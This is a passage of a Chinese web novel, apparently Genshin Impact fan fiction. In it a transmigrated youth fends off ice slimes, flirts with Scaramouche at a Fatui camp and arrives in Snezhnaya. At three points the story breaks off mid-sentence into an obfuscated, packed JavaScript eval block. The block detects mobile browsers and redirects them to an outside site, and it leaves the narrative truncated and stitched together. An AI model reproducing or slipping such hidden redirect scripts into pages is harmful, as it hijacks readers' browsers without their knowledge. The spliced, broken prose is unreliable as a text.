乘晞警惕的望过去,发现先前那只史莱姆去而复返。 他把木棍从地上拿起来。这家伙怎么回事,难不成挨戳挨上瘾了? 冰史莱姆从灌木丛中跳出来,却并未冲向乘晞,而是在原地晃晃身子。 它的眼睛还颇具人性的挤了挤。没等乘晞思索出它想表达的意思,就见一个更大的球形身影从灌木中显现。 是一只大型冰史莱姆。 小冰史莱姆作为幼年体,堪堪与乘晞的小腿齐平,而大型史莱姆的体积是其数倍,足足有乘晞的腰线那么高。 乘晞攥起木棍挡在身前。 什么意思——打了小的,来了老的? 小冰史莱姆在原地蹦了蹦,发出咕叽咕叽的声音。而大型冰史莱姆听完后,目光锁定了乘晞。 它身躯鼓胀,边缘波动着,空气中寒意出现实质般的凝结。伴随着咔嚓声响,冰元素在史莱姆的顶部聚集,不过数秒时间,便凝成了一顶坚硬的寒冰盔甲。 大型史莱姆摆出了攻击姿态,而小冰史莱姆从大家伙身后探出头,再次对乘晞挤了挤眼睛。 乘晞:“……” 小东西长得眉清目秀的,行事居然如此不磊落,仿佛某种升级流文学中的反派。 所以,乘晞想,自己也要像升级流文学的主角那样,迎难而上、越级挑战、直面绝境、激发潜能、生死一线间获得神秘突破——才怪。 开玩笑,他连元素力都没有,用什么对付大型史莱姆,拿头防吗? 乘晞被迫开启了第三轮绕柱走。 比起幼年史莱姆的冲撞攻击,大型史莱姆能够高高跃起再重重落下,造成的伤害程度更强。乘晞听着身后地面被砸出的重响,毫不怀疑如果自己刚刚没有改变站位,那么现在就已经变成一张人形肉饼了。 冷意擦着乘晞的耳尖而过,被触碰的发丝迅速结满冰霜。乘晞捂着耳朵,后怕的回望一眼。 大型史莱姆的元素力攻击也更为成熟,元素生物能够调动周围环境的元素力为己用。而这样的冰天雪地里,冰元素更是取之不尽。 大型史莱姆凝聚出的实体元素攻击,可并非丢雪球打雪仗那种小打小闹。它们使用的冰元素纯粹且坚硬,如果普通人在冬日的室外被几只大史莱姆围攻,很可能被活生生的冻成冰雕。 乘晞苦中作乐的想,万一自己不幸中招,好歹在神像旁边,即便被困在冰雕里也死不了。 这样躲闪下去不是办法。他一边靠神像回温,一边艰难躲避史莱姆的攻击,总会有力气耗竭的时候。 余光中闪过一抹浅蓝,乘晞忽然来了主意。 他不着痕迹的改变了躲闪的方向,从斜后方绕过,瞄准时机,伸手一抄。 ——就是现在! 那只小史莱姆自从摇来大的给它撑腰后,警惕程度就下降了许多,在几米外优哉游哉的观战。乘晞看不惯这家伙的模样,干脆搞了个偷袭。 他把小史莱姆抓在怀里,另一手攥着木棍摆出威胁的姿态,尖端抵着小东西眼睛下方,姑且猜测属于脖颈的要害部位——虽然史莱姆貌似没有脖子。 有“人质”在手,乘晞转过身与大史莱姆对峙,“打个商量,你不伤害我,我就放了它怎么样?” 不知道大史莱姆有没有听懂乘晞的话,但它确实不再攻击,停在了乘晞几步距离之外。 小史莱姆触手冰凉,乘晞悄悄扯了扯衣料垫着。 他瞪视着大史莱姆,一边在心中咬牙:快给点反应!不然他都不用等对方攻击,自己就先把自己给冰死了。 僵持片刻后,大史莱姆终于妥协。 它缓缓倒退着,转身离开了。 乘晞长舒一口气,将怀里的史莱姆质丢到地上。 小史莱姆似乎有很多脏话要骂,对着他叽咕不停,还跳起来想创他。 乘晞作势挥了下木棍,吓得小史莱姆直接弹了出去。 他又好气又好笑,“你赶紧走,我也要走了。” 然而,乘晞没能走成。 他才迈出去几步,就感到脖颈发凉,身后寒意暴涨。 乘晞僵硬的扭过头。 先前离开的大型史莱姆,又杀回来了。 不仅如此,它身后还跟着第二只大型史莱姆,一只体型更大、浑身上下结满冰晶的史莱姆。 “……”乘晞倒吸一口凉气。 二打一,好不讲武德! 小史莱姆贴着地面无声滑动,正准备神不知鬼不觉的溜走,就“叽”的一声被乘晞抓了回来。 乘晞故技重施,挟持小的与大的对峙。 但大史莱姆们也不肯退让。 新来的那只椭圆形眼睛向下眯起,表现出十足的怒意,凝结出一大团冰元素力,眼看就要发射过来。 乘晞一惊,立即把手中的小史莱姆举高,护盾一般挡在自己身前。 大史莱姆怒视着乘晞,取消了蓄力。 史莱姆是元素生物,对同种元素的抗性接近正无穷。冰史莱姆可以免疫冰元素的攻击,但魔法伤害可免,物理伤害却无法消除。 乘晞不清楚以大型史莱姆的智慧是否思考到了这一层,不过能暂时休战就是好事。 但两只大史莱姆很快采取了新的行动。远距离攻击不成,它们决定近身攻击。 木棍完全没办法戳破它们坚硬的寒冰铠甲,乘晞也深知这一点。虽然自己挟持了小史莱姆,但如果被两只大史莱姆同时近身,想必也会左支右绌。 乘晞躲在七天神像后。而两个大家伙分头行动,呈左右包围之势,正向他不断靠近。 眼看安全距离即将被突破,乘晞将手中的小史莱姆放到了地上。 “想不想体验一下飞一样的感觉?” 小史莱姆:“叽?” 乘晞抓了一把雪按到小东西头上,史莱姆本能的释放冰元素将雪粒凝结成了冰霜。 乘晞满意的点了点头,这样摩擦力就足够小了。 他以极快的速度,沉肩、屈膝、瞄准、推杆(指木棍),如同打某种大型台球一般,将小史莱姆发射了出去。 整套动作一气呵成。 “叽叽!” 乘晞选择的方向刚好是下坡,小史莱姆来不及骂人就以越来越快的速度朝远处飞滚。 两只大型史莱姆见状,迅速去追小史莱姆了。 乘晞悬着的心终于落地。还好他没有错估两只大家伙对小东西的重视程度。 乘晞不欲于此处久留,迅速跑向来路。 暗中的黑衣人掏出通讯器:[大人,目标已返回。乘晞与魔物进行了精彩的对决,堪堪打为平手。] 回到营地后,乘晞闻到了扑鼻的香气。不得不说,愚人众成员的伙食十分丰盛,不仅准备了谷物和面食,火堆旁还有人架起锅,在里面煮肉。 篝火的温度温暖着乘晞因赶路而寒凉的四肢,他后知后觉感受到了饥饿。 乘晞今天本就刚从发烧痊愈,方才又因史莱姆而进行了超出预期的大量运动,肠胃都发出了不满的声音。 他意识到一个严肃的问题——自己没有食物,因为他出发时根本就没准备任何行李。 但没关系,勇敢的人先享受世界。 乘晞绕着篝火,走到锅旁那位调控火候的愚人众成员身前。 “闻起来好香,”他发出请求,“可以让我尝一点吗?” “当然。”对方欣然同意。 见乘晞两手空空,她拿出一套一次性餐具,向餐盒里夹了两块肉。 还顺便盛上几勺汤,“慢慢吃,小心烫。” 乘晞接过,捧在手里暖烘烘的。“谢谢姐姐!” 看着少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353578|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年将银发别在耳后,用勺子舀起汤吹了吹,热气蒸得脸颊红扑扑的,肉汤主人简直连心都化了。 “吃完了再来这里盛,管你够!” 乘晞长得好看,还吃得香,而且能品尝出每一种食物的优点,给出烹饪者十分积极的反馈。 周围人纷纷生出投喂的冲动来。 “看看这个,我刚烤的。” “也吃一块我的。” “来喝一杯吗?暖暖身子。” “荤素搭配,把我的菜也算上!” 角落处。 奉命跟踪乘晞的黑衣人来到散兵面前,“大人。” “说说当时的情况。”散兵道。 他在史莱姆袭来时要求黑衣人非必要不出面,就是为了试探乘晞的深浅。此外对下属汇报的所谓对决,他也是一头雾水。 黑衣人推了推眼镜,“这要从乘晞来到七天神像说起。” 散兵:“长话短说。” 黑衣人:“乘晞深情地抚摸着神像,如同初生的婴儿触碰母亲,又如同远归的游子回到故乡……” “面对小冰史莱姆,乘晞轻轻勾动手指,神色桀骜,口中发出嘲讽,眼里的锐意志在必得……” “说时迟那时快,大型史莱姆从天而降,然而乘晞也并不是吃素的,却见他将身一扭,反从神像侧面绕了过去……” 黑衣人自认确实长话短说了,因为他将原本数千字的叙述内容压缩到了几百字。 散兵:“说得很好,下次不要再说了。” 黑衣人讲完故事,想起自己遗漏了某个细节:“大人,还有一事。在去往神像的路上,乘晞似乎在极短的时间内跨越了十几米的距离。” 散兵:“似乎?” 黑衣人:“属下当时被风雪迷眼睛,不确定是否出现了错觉。” 散兵:“说明他有某种特殊身法,或者类似瞬移的技能么……” 可在对战史莱姆的过程中,乘晞却未对这方面加以任何展现。 散兵将疑问留在心中,对黑衣人吩咐,“从现在开始,你调去负责后勤。” 不该关注的部分能讲出一段评书,该关注的重点丝毫没有关注。今后侦查与探听的任务,还是交给更合适的人为好。 黑衣人惶恐:“大人,是属下哪里做得不够好吗?” 散兵微笑:“是后勤工作更需要你。” 篝火那边,乘晞端着一次性餐盒,游走在人群之中。 他这顿饭吃成了百家饭,收到的投喂越多,胆子也越大了起来。乘晞给自己留了最后一点肚子,决定将蹭饭之路的终点定在散兵那里。 他打探出散兵所在的大致方向,抽身离开人群。 散兵站在僻静处,旁边有下属似乎在汇报。 乘晞担心自己打扰,便站在不远不近的位置,等待了片刻。 待那下属汇报完毕,他才朝散兵走去。 然而黑衣下属的神情有些恍惚,走路一不留神,撞到了乘晞身上。 乘晞的食盒险些没拿住,什么东西也跟着掉在了地上。 他低头去看,发现是一枚通讯器。 餐盒洒出的汤水带着油,乘晞担心油污损坏对方的设备,连忙蹲下身抢救。 黑衣人动作满了半拍,等反应过来时,那枚通讯器已经被乘晞拿在了手中。 乘晞擦拭设备的油污,屏幕尚未熄灭,他也不可避免的看见了里面的内容。 本能告诉他这应当属于机密,是愚人众的内部事宜,乘晞迅速移开目光,但文字已经先行一步进入他的大脑。 乘晞看到了通讯对象,“目标”、“神像”、“离开”、“史莱姆”,以及他自己的名字——递还通讯器的动作就这样僵在半空。 ——散兵在派这位下属跟踪他。 “抱歉。”黑衣人说。 随后才注意到通讯器的屏幕依旧亮着,他猛然意识到自己做过的事情暴露了,下意识看向散兵的方向。 散兵也察觉了这边的情况,朝二人走来。 “我……”面对乘晞,黑衣人不知该如何解释监视对方的事情,局促的推了推眼镜。 散兵并没指望这个下属能做出什么有效应对,而是观察着乘晞的反应。 他身为执行官,虽然不喜社交,但也不可避免的出席过各种场合、结交过许多人物,在随机应变这方面早已熟能生巧。 短短片刻内,散兵就猜出了这边发生过什么,并构思出了几种互不相同的合理说辞。 接下来只需要根据乘晞那边的反应,灵活采取解释,就能将事情圆过去。 乘晞僵住了好一会,才终于回神,把通讯器还给黑衣人。 散兵瞧着银发少年的表情变化,有些疑惑——对方这样的反应,并不在他的预判之中。 只见乘晞神色欣喜,朝他小步快跑而来: “散兵大人,我就知道你关心我!” 12. 12 散兵战术性沉默了。 黑衣下属觉得自己站在这里只会添乱,朝散兵躬身一礼便退下。 乘晞已经凑到散兵身边,“大人的关心如此隐蔽,要不是碰巧发现,我都没可能知道呢。” 那会多么可惜! 散兵:“……我没有。” 乘晞只是“嗯嗯”两声,并不反驳对方。 因为口嫌体正的傲娇人就是这样的,他可以理解! 散兵:“你过来做什么?” 乘晞晃了晃手中的餐盒:“吃晚饭。” “你哪里来的晚饭。”散兵说。 早在离开边境小镇前,他就注意到乘晞没有准备路上的食物。当然他并不会好心提醒对方。 “百家饭。”乘晞有些炫耀的向对方展示盒中的餐食。 散兵扫了一眼,烤肉、松饼、沙拉……每样量都不多,但种类至少有十多种。 这家伙作为卧底,业务能力没有多少,却能在短时间内和多半愚人众成员混熟,还连吃带拿,也算是某种程度上天赋卓绝。 “你慢慢吃。”散兵说完就走。 却见乘晞追了上来,“还有什么事?” 乘晞:“担心你寂寞无人陪伴,我来与你共进晚餐。” 散兵:“……行。” 他倒要看看,这家伙要准备搞什么幺蛾子。 ——居然这么好说话?乘晞得寸进尺道,“我们去篝火那边吃可以吗?” 散兵:“去。” 乘晞美滋滋的跟在对方身旁。 他曾从黑衣人口中了解过,散兵不喜欢与人接触,也不喜欢热闹的环境。但面对回到人群的提议,对方却没有拒绝。乘晞搓了搓被风吹麻木的手——想必是散兵察觉到了他怕冷,担心他受凉,因而同意回去取暖。好感动! 散兵则想,队伍成员们都围拢在篝火旁,不知道这家伙凑过去有何目的。 众人见上司与银发少年并着肩走来,纷纷起身向散兵行礼,随后与乘晞打招呼。 执行官大人一向不喜聒噪,众人很有眼力见的收敛了声音。 乘晞却有些疑惑为什么周围人不再谈笑,他主动接起了话题。 “散兵大人,你晚饭吃什么?” 众下属眼观鼻鼻观心,目光在二人之间乱转。 散兵取出自己的餐盒,里面是一份茶泡饭。 乘晞发出暗示:“看上去很好吃。” 散兵故意读不懂:“哦。” 乘晞从自己盘中取出一块糕点,递向对方,丝毫没有借花献佛的心虚,“你要不要吃一口我的?” 散兵:“不用。” 乘晞便收回手:“好的,那我可以吃一口你的吗?” 散兵:“……” 他思索了一下对方这种行为究竟有何目的——身为卧底接近他的饭食,难道想要借机在茶泡饭里下毒? 这样想着,散兵大方的递出自己的餐盒,“你吃。” 乘晞兴高采烈的道谢,拆出一份没使用过的餐具,从对方碗里盛了一小勺。 穿越第二天,亲口吃到自推的饭,请问什么水平! 乘晞给出了今日份最高评价:“这是我有生之年吃到的最好吃的东西!” 散兵握着勺子,有点看不穿对方的迷惑行为——总不会是单纯的找他要饭吃吧。 众人看着乘晞喜欢得眼睛都满足眯起,难免与自己比较起来: “之前怎么没见他吃那么香!” “难道执行官大人的饭比我做的还好吃?” “茶泡饭不是稻妻菜品,味道苦兮兮的吗,乘晞怎么跟吃了糖一样……” 等乘晞咽下饭粒,队伍成员们没忍住继续投喂。 以往在执行官大人面前他们都会收敛,今天实在是被激起了攀比心。 乘晞已经九分饱,原本是打算拒绝的,但看清对方递来的是烤鱼干,又有些心动了。 他将那条穿在木签上的小鱼接过来,细细端详着。 海鱼体型不大,肉质却很鲜嫩。鱼皮受热的火候刚好,边角微微卷翘,沾了些金黄酥脆的面包糠。 散兵在一旁看着乘晞与其他人相谈甚欢。 从所有人碗里要饭吃,就有机会接近所有人的饭食。食物是最容易被动手脚的东西,卧底如果想要以一敌多,便很可能将此作为媒介。 难道乘晞与自己的互动不过是障眼法,真正目标是放倒自己的所有下属? 但这些人能走如今的位置,在愚人众中都不是泛泛之辈,如果真的栽在如此低级的手段里,也没必要跟在他身边了。 “散兵大人。”乘晞叫他。 散兵扭过头,“怎么了?” 乘晞手中捏着木签,小鱼干的头部已经被咬掉一半,有个形状完美的弧形缺口。 他摇了摇烤鱼,“你知道我为什么吃鱼只吃头吗?” 散兵莫名其妙:? 他耐着性子回答:“因为鱼头刺少,鱼身刺多。” 但也不太对,烤鱼明明连骨头都是酥的,完全可以入口。 “因为我想把余生(鱼身)都给你。”乘晞说。 旁边“噗”的一声,有人没忍住笑出来。 还有人接连咳嗽,显然被这通发言着实震撼到,又努力压抑住自己的声音。 散兵被谐音梗冷到了,心想至冬的立法机构能不能让谐音梗入刑。 乘晞在旁边期待的等着他的反应。 散兵懒得再装好脾气:“吃饭别讲话,小心被呛到。” 乘晞:“嗯嗯!” 他好关心我! 对方没有给出明确的回应,一定是这句情话的威力不够。 乘晞思索着,目光落在不远处刚刚烤好的馅饼上。 馅饼的主人是先前那个戴眼镜的黑衣人、通讯器不慎被乘晞捡起的那位。他回来得晚,现在才准备好进餐。 乘晞踱过去,用目光向对方发出暗示。 黑衣人将整张馅饼递给他。 乘晞心说这也太耿直了:“一点点就好,我吃不了太多。” 他带着一块馅饼回到散兵身旁,将馅饼叉起来嗅了嗅。 “散兵大人,”乘晞故技重施,“你知道这块饼是什么馅的吗?” 散兵已经吃过教训:“我不想知道。” 这家伙他就不该搭理。 “但我想告诉你。”乘晞道,“是我已经因你而沦陷(馅)。” “…………” * 众人原地扎营,休整一晚,第二日继续上路。 乘晞打开面板地图看了一眼。行车顺利的话,今日内就可以抵达至冬城了。 一想到进入至冬城后就会与散兵分别,乘晞心中有些不舍。可他原本的约定,也只是与对方同行一程。 所以自己一定要加入愚人众,乘晞想,而且还有一件事—— 他找到散兵,“你现在有时间吗。” 散兵:“怎么了?” 感受到周围纷纷探来的眼神,乘晞道,“可以换个场合说吗?” 散兵:“你需要什么样的场合?” 乘晞:“比较私密的、最好只有我们两个人的场合。” 众人:!? 散兵:“那就路上说。” 篷车内。 散兵抱着双臂,打量着乘晞。 “你有没有什么想问我。”银发少年开口。 散兵:“没有。” 说得好像问了就会答似的。 “你如果想知道有关我的事情,可以直接来问我,”乘晞望向对方,“我不会向你撒谎的。” 散兵心说骗鬼呢,“怎么忽然讲起这个。” “其实你怀疑我吧。”乘晞忽然说。 散兵心中一动,面上却未曾表露分毫。 什么意思?卧底准备改变战术,开始故作坦诚了么。 乘晞并非没有观察能力,他能感受到愚人众成员对他的热络里,夹杂着些许违和。以他的身份,结合从通讯器看到的内容,不难猜出事情的真相。设身处地而想,散兵会怀疑他再正常不过了。 “我其实有特殊技能。”乘晞说。 散兵:“比如?” “我有随身空间。”乘晞为面板背包找了种易于理解的说法。 正如璃月仙家制造的尘歌壶,小小一盏茶壶内能藏有一方有山有水的洞府,空间魔法在这片大陆上确实存在。 “所以我能够凭空取物。” 在知晓愚人众对拉基老爷进行过审问后,乘晞不难复盘出在散兵视角下,自己身上的疑点有哪些。 “你是不是有好奇过,这个东西去哪了——”他双手摊开,在意识中调动面板。 银色的泡泡枪转瞬出现在少年的掌心。 “呐,就像这样。” 得到了亲眼见证,散兵确信对方所言非虚。 对方突然摊牌,还选在单独与他相处的场合,莫非是有了什么把握,决定正面与他交锋? 散兵当即戒备起来,却见乘晞将泡泡枪塞进了他手里。 “如果喜欢,就送给你。” 散兵才意识到,自己看那银色物件的时间有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方坚硬的膝骨,带着不容抗拒的力量,抵在乘晞胸口。正下方是他的心脏,乘晞能清楚的感觉到,肌肤之下一次又一次的隆隆跳动。 随着压迫的力量逐渐增大,心脏急促的泵着血,几乎要拍打胸腔。浑身的血管收缩,指尖酥麻,脉搏也变得急促。 乘晞多半重心靠在车壁上。颈部抵着金属的尖锐,他被迫向后仰起,脊柱的弧度绷到极致。 如同一尾脱离了水面的鱼,迫切的想要汲取氧气,却被剥夺了挣扎的权利,连呼吸都已是奢求。 ——自己正在以一个毫无还手之力的姿态,被对方全方位的、绝对压制。 乘晞无力抵挡,也从未想过要抵挡。 浑身毛孔传来隐秘的凉意,连同灵魂都一并颤抖。不因生理层面,而在精神之中。代表兴奋的神经信号传至大脑皮层,末梢分泌出过量的愉悦神经递质。 战栗的感觉逆流而上,沿着脊椎直冲颅顶。 乘晞只觉得眼前出现模糊的斑点,光圈交叠着扩散,阵阵发晕。 有那么一瞬间,他险些以为自己真的晕了过去。 属于散兵的堇色眼瞳,居高临下的俯视着他,仿佛非人之物从云顶之上,向尘埃中的异类投来无机质的一瞥。 由浅至深的紫色于眸中翻涌,带着荧荧微光的诡谲流淌沉浮。 曾有句话用于形容爱人的眼睛,说是世界的第八大洋。但这一刻,乘晞觉得并非如此。 他正身置浩渺宇宙,窥见星云初生。 “你……” 乘晞胸口剧烈的起伏着,大脑掉线,完全捉不住属于自己的意识。 “我怎么。”散兵不紧不慢的说。 在绝对力量压制之下,他有闲心欣赏起对方的狼狈模样。 “我是不是要死了。”乘晞喃喃。 苍天大地……靠脸鲨人事件! 如果有一天他死了,一定是被自推准备要他命的动作给溺死的! “难得你有自知之明。”散兵说。 敢不自量力的在他面前耍花招,妄图以武器偷袭,就是自寻死路。 忽然间。 帘幕被人掀起,车外的光亮一瞬照入。 但紧接着就被放下,伴随黑衣下属惊惶的声音:“对不起!!!” 黑衣下属满脑子都是车内那两道交叠的身影,连话都说不完整。 “属、属下什么都没看到!大人您、您先忙!属下不打扰了!!” 13. 13 车内的光线重回昏暗。 散兵并无心思搭理冒失的下属,丝毫没有放松对乘晞的压制。 不知是不是他的错觉,乘晞似乎没有表现出任何反抗的心思。 但这怎么可能?一定是错觉吧。 良久,乘晞失神的双目才重新聚焦。 他有些艰难的笑了一下,似乎有几种复杂的情绪,但一闪而过都化作无奈。 “你误会了。” 乘晞想抽出手,但散兵姿势没动,他也无法挣脱。 乘晞又试着挣扎了一下,“就松我一只手,也不行?” 这回散兵放开了他。但挪开的手指扣在了筒状金属后半截,接近底部疑似扳机的位置。 只需轻轻按下,就能够触发武器的机关。 乘晞抬眼,视线从散兵的面容扫过,落在对方眼睛里。 带了些想忍住、但没能掩饰好的狡黠,如同某种准备做坏事的小动物。 散兵看不懂对方的神色,但也直觉不太妙。 他神经警惕起来。 乘晞那只唯一获得自由的手,附上了他的小臂。从手腕一路向上,滑到掌背。那触碰若即若离,最终几乎与他的手重叠。 散兵能清晰的感受到,乘晞的掌心盖着他的掌背,指节越过指节,指腹覆着他的甲床,带了些微微的凉意。 随后,对方的指尖用力,带动他的手指屈起。 ——扣下了金属扳机。 “!” 散兵在这瞬间头脑空白。 疯了么? 那把被他反夺过来的武器,直指乘晞脆弱的脖颈,黑洞洞的筒口与对方间距不过毫厘。 现在对方居然按着他的手,主动的、自己朝自己扣动扳机。 不要命了? 散兵没来得及讲出任何言语。 只听“彭”的一声。 好像很重,响彻整个车厢,又好像很轻,只响在他的耳边。 细长的彩带从筒口喷出,柔顺的舒展、扩散,划过银发少年的颊侧,在空气的海洋中如同水草般飘拂。 伴随着闪动的亮片,天女散花一样洒落,最终散作光点。 乘晞终于不再忍耐笑意。有细碎的亮片落在眼角,他眼中闪着比碎片更亮的光。 “这是喷花筒。” ……………… 沉默,是今日的至冬。 “我、”散兵罕见的磕绊了一下,“我以为……” “你不会以为是武器吧?”乘晞明知故问。 “你不会以为我是图谋不轨,趁机偷袭你吧?” 散兵没回答,但白皙的脸侧肉眼可见憋出一点红。 两人已经恢复成了对坐的姿态。 乘晞振声道,“我就算去偷袭天理,都不可能偷袭你的!” “为什么。” 散兵大脑还没完全连线,说完才意识到不该问这种问题,应为他几乎能预判到对方的回答—— 乘晞:“都说了我喜欢你。” 散兵:“。” 他不太有底气怼人,转移话题道,“你脸上有东西。” 细长的彩带纠缠着银灰发丝,少年单手拨弄不开,想用另一只手辅助,却发现手腕完全抬不起来。 他竖起小臂,却见手掌以一个无力的姿态垂落。 ——脱臼了。 腕骨两侧,还留着被人捏过导致的浅色红痕。 罪魁祸首是谁,显而易见。 短时间内大量分泌的肾上腺素造成知觉的屏蔽,激素退却以后,疼痛后知后觉传来。 “你对我好狠心。”乘晞委屈。 “我没有。”散兵干巴巴的反驳。 换做是别的情况,他早在反夺武器的时候,就直接把偷袭者的骨头捏碎了。 “但也不能怪你,当时你又不知道真相,”乘晞继续委屈道,“面对敌人,手下不留情是对的。” 散兵这下连反驳都说不出了。 “我……” 他想要安慰,一向灵活的大脑在此刻却想不出该说什么。 “你不会不负责吧。”乘晞可怜兮兮。 散兵:“……不会。” 乘晞长长“啊”了一声,尾调上扬,“没听见。” “……”散兵要瞪他。 乘晞就用另一手托着自己脱臼的手,慢慢举到对方眼前。 散兵表情一僵,如同被强迫吃了他最不喜欢的甜腻腻的糕点。 “我说,”他硬邦邦道,“我对你负责。” 乘晞弯弯眼睛,“这回听见了。” 散兵:“我帮你接回去。” 说完便伸手向对方的手腕。 乘晞却向后一缩:“我怕疼。” 散兵心说,怕疼不接,难道就这样瘫着? 但想到终究是自己理亏,话到嘴边改成了:“万一拖延太久对身体不好。” 乘晞:“那你要补偿我。” 他理直气壮的得寸进尺。 “……” 散兵盯着乘晞。 乘晞则向后一靠,坦然的与对方对视。一副对方不肯答应,他就决不伸手的架势。 “你要什么补偿?”散兵妥协道。 乘晞:“还没想好,先欠着。” 散兵瞥过来。活了几百年,第一次有人敢用这种态度对待他。 “但绝对是在你能力范围之内,”乘晞补充,“绝对是不对你造成伤害的要求。” 散兵点了头。 乘晞这才将手伸给对方。 散兵托起乘晞的手腕,指节在关节处摸索着,带着巧劲一推一拉。 伴随着轻微的“咔嚓”声音,腕关节成功复位。 乘晞扭了扭重获新生的手腕。 散兵担心这家伙还疼,准备叫治疗师过来用元素力给对方舒缓一下。 他这才注意到车外的黑影,先前那个冒失的下属还没走,“你什么事?” 黑衣人这次老实站着,连碰都没敢再碰车帘:“回大人,也不是什么大事。路上遇见魔物,已经将其处理掉了。” 普通的魔物时有出现,沿途遭遇并非奇事。但这次遇见的是深渊魔物,且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等他笑够了,开始拨弄自己的头发。喷花筒的丝带细腻,带了些许静电与发丝纠缠在一起,乘晞弄了好一会也没有解开。 他瞟了散兵一眼,随后做作的向后一瘫:“啊,手好累。” 散兵:“……” 乘晞礼貌请求:“散兵大人,你可以帮帮我吗?” “……”散兵深吸气。 乘晞抬手,在对方眼前晃了晃:“刚接上,不灵活,还在痛。” 散兵的气吸不动了。 虽说这家伙多半是故意的,但他到底不好拒绝。 他朝乘晞靠近了些,拈起对方披散的长发。 银灰发丝如同绸缎般,从散兵的指节间垂落。他垂着眼,将对方纠缠的长发理顺,一丝丝择出混杂的彩带。 乘晞始终偏头看着他,散兵有些不自在。 但察觉到对方脸上沾着的亮片,他还是伸了手,指尖从对方眼角拂过,擦去细碎的亮片。 眼睛是人类最脆弱的部位,散兵靠近时并没有解释自己的动作。 但乘晞也任凭对方靠近,连躲都没躲,只是很轻的眨了一下。 先是眼角,然后是颧骨,最后还有颊侧。 散兵只觉得对方被触碰的地方在发热,连同注视他的目光似乎都烫了起来。 他升起一股莫名的不自在,掸掉指尖的亮色碎片,移开了视线。 因此也就能没看见,银发少年的耳尖同样微微红了。 14. 14 车队又行了半日,终于抵达至冬城。 乘晞对一切都感到十分新鲜,掀开车帘去看。 入目是雄伟的城墙,远处群山绵延,山巅与带着霜雪的云融为一体。透过敞开的城门看入,整座城市银装素裹。 车队出示了愚人众的证件,守卫在查验过后,迅速将他们放行。 都城的建筑多采取巴洛克式的风格,浅色外墙映着霜雪,远远能见到弧形的穹顶。 比起归途,城内要喧闹许多。路边的行人来来往往,偶尔有车辆行过。 在一处十字路口,车队缓缓停下。 有下属向散兵低声说了些什么。 乘晞很有眼力见道:“你要开始忙公务了吗,需不需要我下车。” “还不急。”散兵道。 他们会在此停留一段时间,等部分成员将货箱送去交由研究人员接手,再回来与队伍汇合,一同去至冬宫作任务报告。 乘晞便继续留在车里,支着下巴在窗口一趴。 这片街区更接近城池的中心,周围尤其热闹。他目光顺着人群的流向,朝热闹的中心看去。 那里围观了很多层群众,有老有少,遍布各个年龄阶段。而正中央是一片弧形的讲演台。 待看清楚台上的人是谁,乘晞瞬间脊背僵直。 鸟嘴面具由上至下遮挡了男人的双目和鼻梁,浅蓝的卷发从面具一侧垂下。白色大衣披着毛领,边角缀着有亮蓝色试管状的佩饰。 ——多托雷,或者也可以称他为「博士」。 乘晞扒着窗沿的手指已然扣紧。 散兵注意到乘晞的变化,顺着对方的视线望过去,也见到了热闹的源头。 他像见到脏东西一般转开脸。但见乘晞仿佛看呆了一般,散兵“啧”了一声,“怎么一副没见过世面的样子。” 乘晞回过头,谨记着自己的“失忆”设定,“那边是在做什么呀,好多人。” 散兵讥讽答:“在做一些浮于表面的形式主义。” 乘晞好奇道,“那边的人是谁呀,看起来很受欢迎的样子。” 散兵嗤了一声,“当然是我们爱民如子的市长先生,和……一个脑子不太正常的疯子。” 市长?乘晞有些惊讶,再度向人群中看去,才在台上距离博士不远的位置,发现了一顶摇晃着的高筒礼帽,礼貌下面的那张脸有着尖细的耳朵和长鼻梁,鼻梁上架着一副圆框眼镜,因受身高限制在人群的遮掩中时隐时现。 居然有不止一位执行官在。多托雷代号「博士」,是愚人众执行官第二席,而“市长先生”普契涅拉,代号「公鸡」,居于领先散兵一席的第五席,是一位广受好评的政要。 在散兵的讲述中,乘晞了解到,为维护愚人众在百姓心中的良好形象,执行官们会定期被安排在公开场合露面,进行友善的政民互动。而这些所谓的公开场合,自然由公鸡一手筹划,无非是宣讲、慈善、交流等官方活动。 在散兵看来,公鸡虽然政绩斐然,为民众做过许多实事,但手段黑白灰皆有之,本质是个将一切视作资产、用利益加以衡量的政客。他心中不屑但碍于上命不可违,类似的活动每次都最后一个参加。 “正巧今年的愚人众招新即将开始,”散兵道,“博士大概被公鸡推去当发言人了。” “原来如此。”乘晞点了点头,心中有了主意。 他凑向散兵:“现在可以兑现‘补偿’吗?” 散兵:“你说。” “接下来,无论发生什么事情,”乘晞双手合十,“你都要保护我的安全,可以吗?” 这听起来可有些不妙,散兵皱眉,“你要做什么?” 乘晞不答,而是下了车,“来看看就知道了。” 见散兵神色严肃起来,他又向对方保证道,“放心好了,我有分寸的。” 散兵只好也走下车。比起乘晞能让人放心,他更相信乘晞能让人心脏骤停。 散兵止住疑惑跟来的下属,独自跟上了乘晞。 两人走向围拢的人群。 乘晞觉得散兵这张脸太惹眼,“别离我太近,装不认识我就好。” 散兵迟疑:“那我需要干什么?” 乘晞神秘一笑:“欣赏我的表演。” 乘晞在人群中见缝插针,纤瘦的身形如同游鱼穿过海藻,很快来到了最前方。那里聚集的多是学生模样的人,正在与台上的嘉宾进行互动。 这群人有儿童也有青少年,乘晞仗着自己的脸,微微屈腿以压制身高,成功的混进了学生堆中。 